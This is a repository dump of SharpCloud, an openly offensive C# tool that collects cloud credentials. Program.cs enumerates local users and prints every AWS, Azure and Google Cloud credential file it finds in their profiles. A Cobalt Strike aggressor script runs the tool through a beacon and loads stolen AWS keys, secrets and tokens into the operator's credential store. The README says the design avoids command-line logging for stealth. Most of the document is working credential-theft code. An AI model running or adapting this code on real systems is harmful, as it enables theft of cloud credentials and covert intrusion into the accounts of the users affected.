Repository: chrismaddalena/SharpCloud
Branch: master
Commit: 58a3e7a9e95b
Files: 9
Total size: 21.2 KB
Directory structure:
gitextract_6nhppghn/
├── .gitignore
├── LICENSE
├── README.md
├── SharpCloud/
│ ├── App.config
│ ├── Program.cs
│ ├── Properties/
│ │ └── AssemblyInfo.cs
│ └── SharpCloud.csproj
├── SharpCloud.sln
└── sharpcloud.cna
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
.DS_Store
================================================
FILE: LICENSE
================================================
BSD 3-Clause License
Copyright (c) 2018, Chris Maddalena
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
================================================
FILE: README.md
================================================
# SharpCloud
SharpCloud is a simple C# utility for checking for the existence of credential files related to Amazon Web Services, Microsoft Azure, and Google Compute.
More information: https://posts.specterops.io/head-in-the-clouds-bd038bb69e48
## Basic Usage
SharpCloud can be run using one of the following commands:
* `SharpCloud.exe all`
* Searches all user profiles for credentials related to Microsoft Azure, Google Compute, and Amazon Web Services.
* `SharpCloud.exe aws`
* Searches all user profiles for credentials related to Amazon Web Services.
* `SharpCloud.exe azure`
* Searches all user profiles for credentials related to Microsoft Azure.
* `SharpCloud.exe gcloud`
* Searches all user profiles for credentials related to Google Compute.
## SharpCloud with Aggressor
If you use Cobalt Strike, this repo includes a sharpcloud.cna file for CS. This adds sveral aliases for `execute_assembly` with SharpCloud.exe:
* `dump_aws`
* `dump_gcloud`
* `dump_azure`
The SharpCloud.exe binary needs to be in the same directory as the script.
The aliases are fairly self-explanatory. As an example, `dump_aws` is an alias for `execute_assembly SharpCloud.exe aws`. While it would be trivial to set aside the C# and write SharpCloud using shell or PowerShell commands, this was not done to keep SharpCloud's checks and data collection as stealthy as possible. That means avoiding command line logging.
It is notable that `dump_aws` will add any discovered credentials to Cobalt Strike's Credentials model. Should the alias find AWS credentials, those credentials will be saved just like credentials discovered via Mimikatz and other Cobalt Strike utilities. They will appear with the `realm` set to "AWS" and the access key and access secret set as the `user` and `password`. If an AWS token is present in the profile, the token will be noted in the `password` field. The AWS profile name will be saved in the `source` field.
This is only done for AWS credentials, but might be done for Azure in a future version. It's not feasible for Google Compute because Compute uses SQLite3 databases and reading the values from them becomes much trickier. It is possible, and potentially useful, to do this for credential information found inside Compute's legacy_credential directory.
================================================
FILE: SharpCloud/App.config
================================================
================================================
FILE: SharpCloud/Program.cs
================================================
using System;
using System.IO;
using System.Management;
using System.Collections.Generic;
using System.Security.Principal;
namespace SharpCloud
{
class CloudDump
{
// Checks if the current user has administrative privileges
public static bool IsAdministrator()
{
WindowsIdentity identity = WindowsIdentity.GetCurrent();
WindowsPrincipal principal = new WindowsPrincipal(identity);
return principal.IsInRole(WindowsBuiltInRole.Administrator);
}
// Collects usernames using Win32_UserAccount query, filters the usernames, and returns list
public static List GetUsers()
{
// Create two user lists to ignore select local/domain usernames that will not have credentials
List usernames = new List();
List ignored_users = new List();
ignored_users.Add("DefaultAccount");
ignored_users.Add("WDAGUtilityAccount");
ignored_users.Add("Guest");
ignored_users.Add("Administrator");
ignored_users.Add("krbtgt");
// Win32_UserAccount will return all use profiles on the host
// If the host is unable to talk to the domain, it will miss domain account profiles
SelectQuery sQuery = new SelectQuery("Win32_UserAccount");
try
{
ManagementObjectSearcher mSearcher = new ManagementObjectSearcher(sQuery);
foreach (ManagementObject mObject in mSearcher.Get())
{
string strUser = Convert.ToString(mObject["Name"]);
if (!ignored_users.Contains(strUser))
{
usernames.Add(strUser);
}
}
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
return usernames;
}
// Checks if the provided filename exists and returns its contents
static void CheckFile(string filename)
{
if (File.Exists(filename))
{
Console.WriteLine(Environment.NewLine + "[*] Found {0}:", filename);
string fileContents = File.ReadAllText(filename);
if (filename.Contains(".db")) {
//string cleaned = fileContents.Substring(fileContents.IndexOf("CREATE TABLE"));
//Console.WriteLine(Environment.NewLine + Convert.ToString(cleaned));
Console.WriteLine("L.. You will want to copy this file.");
} else
{
Console.WriteLine(Environment.NewLine + Convert.ToString(fileContents));
}
}
}
// Checks if the provided command exists in the provided PATH
static Boolean CheckCommand(string command, string path)
{
Boolean commandExists = false;
if (path.Contains(command))
{
commandExists = true;
}
return commandExists;
}
// Prints basic usage information for the utility
static void Usage()
{
Console.WriteLine(" SharpCloud can be run using one of the following commands:\r\n");
Console.WriteLine(" .. \"SharpCloud.exe all\" - Searches all user profiles for credentials related to all cloud services.");
Console.WriteLine(" .. \"SharpCloud.exe aws\" - Searches all user profiles for credentials related to Amazon Web Services.");
Console.WriteLine(" .. \"SharpCloud.exe azure\" - Searches all user profiles for credentials related to Microsoft Azure.");
Console.WriteLine(" .. \"SharpCloud.exe gcloud\" - Searches all user profiles for credentials related to Google Compute.");
}
// Checks for files associated with AWS credentials
static void CheckAWS(string user)
{
// Credential and config file locations in $HOME on Windows
string awsKeyFile = String.Format(@"C:\Users\{0}\.aws\credentials", user);
Console.WriteLine("[+] Checking for awscli files...");
CheckFile(awsKeyFile);
}
// Checks for files associated with Azure credentials
static void CheckAzure(string user)
{
// Credential and config file locations in $HOME on Windows
string azureTokens = String.Format(@"C:\Users\{0}\.azure\accessTokens.json", user);
string azureProfile = String.Format(@"C:\Users\{0}\.azure\azureProfile.json", user);
Console.WriteLine(Environment.NewLine + "[+] Checking for Azure CLI files...");
CheckFile(azureTokens);
CheckFile(azureProfile);
}
// Checks for files associated with Google Compute credentials
static void CheckGoogle(string user)
{
// Credential and config file locations in $HOME on Windows
string computeLegacyCreds = String.Format(@"C:\Users\{0}\AppData\Roaming\gcloud\legacy_credentials", user);
string computeCredsDb = String.Format(@"C:\Users\{0}\AppData\Roaming\gcloud\credentials.db", user);
string computeAccessTokensDb = String.Format(@"C:\Users\{0}\AppData\Roaming\gcloud\access_tokens.db", user);
Console.WriteLine(Environment.NewLine + "[+] Checking for Google Compute SDK files...");
CheckFile(computeCredsDb);
CheckFile(computeAccessTokensDb);
if (Directory.Exists(computeLegacyCreds))
{
string[] legacyCreds = Directory.GetFiles(computeLegacyCreds, "*", SearchOption.AllDirectories);
foreach (var file in legacyCreds)
{
CheckFile(file);
}
}
}
// Checks for any and all credentials files
static void CheckAll(string user)
{
CheckAWS(user);
CheckAzure(user);
CheckGoogle(user);
}
/**
SharpCloud will generate a list of users, check if the current user is an administrator,
check if any of the CLI tools are installed, and then check for credential files based on
the command line option used.
**/
static void Main(string[] args)
{
if (args.Length != 0) {
// Get a list of all user profiles
List allUsers = GetUsers();
// CLI commands to search for in the user's PATH
string azureCLI = @"Azure\CLI2";
string computeCLI = @"google-cloud-sdk";
string awsCLI = @"AWSCLI";
// Get the current user
string currentUser = Environment.UserName;
Console.WriteLine("[+] Operating in the context of the '{0}' user.", currentUser);
// Check if the current user is an administrator
if (IsAdministrator())
{
Console.WriteLine("[*] Current user is an Administrator!");
} else
{
Console.WriteLine("[!] Current user is NOT an Administrator! Cloud files for other users may not be returned.");
}
// Get the current user's PATH and check for CLI tools
string userPath = Environment.GetEnvironmentVariable("PATH");
Boolean awsExists = CheckCommand(awsCLI, userPath);
Boolean computeExists = CheckCommand(computeCLI, userPath);
Boolean azureExists = CheckCommand(azureCLI, userPath);
if (awsExists)
{
Console.WriteLine("[+] AWSCLI exists in the current user's PATH. You should be able to use 'aws' commands.");
} else {
Console.WriteLine("[+] AWSCLI is not in the current user's PATH.");
}
if (computeExists)
{
Console.WriteLine("[+] Google Compute SDK exists in the current user's PATH. You should be able to use 'gcloud' and 'gsutil' commands.");
} else {
Console.WriteLine("[+] Google Compute SDK is not in the current user's PATH.");
}
if (azureExists)
{
Console.WriteLine("[+] Azure CLI exists in the current user's PATH. You should be able to use 'az' commands.");
} else {
Console.WriteLine("[+] Azure CLI is not in the current user's PATH.");
}
// Check the user arguments and then loop through users for checks
foreach (string arg in args) {
if (string.Equals(arg, "all", StringComparison.CurrentCultureIgnoreCase)) {
foreach (var user in allUsers) {
Console.WriteLine(Environment.NewLine + "[+] Checking home directory for the {0} user:", user);
CheckAll(user);
}
}
else if (string.Equals(arg, "aws", StringComparison.CurrentCultureIgnoreCase)) {
foreach (var user in allUsers) {
Console.WriteLine(Environment.NewLine + "[+] Checking home directory for the {0} user:", user);
CheckAWS(user);
}
}
else if (string.Equals(arg, "azure", StringComparison.CurrentCultureIgnoreCase)) {
foreach (var user in allUsers) {
Console.WriteLine(Environment.NewLine + "[+] Checking home directory for the {0} user:", user);
CheckAzure(user);
}
}
else if (string.Equals(arg, "gcloud", StringComparison.CurrentCultureIgnoreCase)) {
foreach (var user in allUsers) {
Console.WriteLine(Environment.NewLine + "[+] Checking home directory for the {0} user:", user);
CheckGoogle(user);
}
}
else {
Usage();
return;
}
}
Console.WriteLine(Environment.NewLine + "[+] Job's done! Press Enter to continue.");
Console.Read();
}
else {
Usage();
return;
}
}
}
}
================================================
FILE: SharpCloud/Properties/AssemblyInfo.cs
================================================
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("SharpCloud")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("SharpCloud")]
[assembly: AssemblyCopyright("Copyright © 2018")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("ca4e257e-69c1-45c5-9375-ba7874371892")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
================================================
FILE: SharpCloud/SharpCloud.csproj
================================================
Debug
AnyCPU
{CA4E257E-69C1-45C5-9375-BA7874371892}
Exe
SharpCloud
SharpCloud
v4.6.1
512
true
AnyCPU
true
full
false
bin\Debug\
DEBUG;TRACE
prompt
4
AnyCPU
pdbonly
true
bin\Release\
TRACE
prompt
4
================================================
FILE: SharpCloud.sln
================================================
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 15
VisualStudioVersion = 15.0.27703.2042
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpCloud", "SharpCloud\SharpCloud.csproj", "{CA4E257E-69C1-45C5-9375-BA7874371892}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{CA4E257E-69C1-45C5-9375-BA7874371892}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{CA4E257E-69C1-45C5-9375-BA7874371892}.Debug|Any CPU.Build.0 = Debug|Any CPU
{CA4E257E-69C1-45C5-9375-BA7874371892}.Release|Any CPU.ActiveCfg = Release|Any CPU
{CA4E257E-69C1-45C5-9375-BA7874371892}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {1AFB766A-67B0-4402-8E1F-2E1CE933E97B}
EndGlobalSection
EndGlobal
================================================
FILE: sharpcloud.cna
================================================
alias dump_aws {
# Execute SharpCloud with the "aws" option
bexecute_assembly($1, script_resource("SharpCloud.exe"), "aws");
# Once beacon receives output, find any AWS creds
on beacon_output {
# Split SharpCloud's output by newlines for iteration
@data = split("\n",$2);
$counter = 0;
foreach $line (@data)
{
# Find the line that denotes the beginning of new AWS creds
if ($line hasmatch 'aws_access_key_id.')
{
# The counter helps if multiple AWS creds are returned for one user
# We can detect the beginning of one and use the counter to grab the data
$aws_profile = replace(@data[$counter - 1], '\[', "");
$aws_profile = "AWS Profile: " . replace($aws_profile, '\]', "");
$aws_key = replace(split("=", $line)[1], " ", "");
$aws_secret = replace(split("=", @data[$counter + 1])[1], " ", "");
# Not all creds will have or need tokens, so check for that and then adcreds to beacon's credential model
if (@data[$counter + 2] hasmatch 'aws_session_token.')
{
$aws_token = replace(split("=", @data[$counter + 2])[1], " ", "");
credential_add($aws_key,"Secret: " . $aws_secret . ", Token: " . $aws_token, "AWS", $aws_profile, beacon_info($1, "computer"));
} else {
credential_add($aws_key,"Secret: " . $aws_secret, "AWS", $aws_profile, beacon_info($1, "computer"));
}
}
$counter++;
}
}
}
alias dump_azure {
bexecute_assembly($1, script_resource("SharpCloud.exe"), "azure");
}
alias dump_gcloud {
bexecute_assembly($1, script_resource("SharpCloud.exe"), "gcloud");
}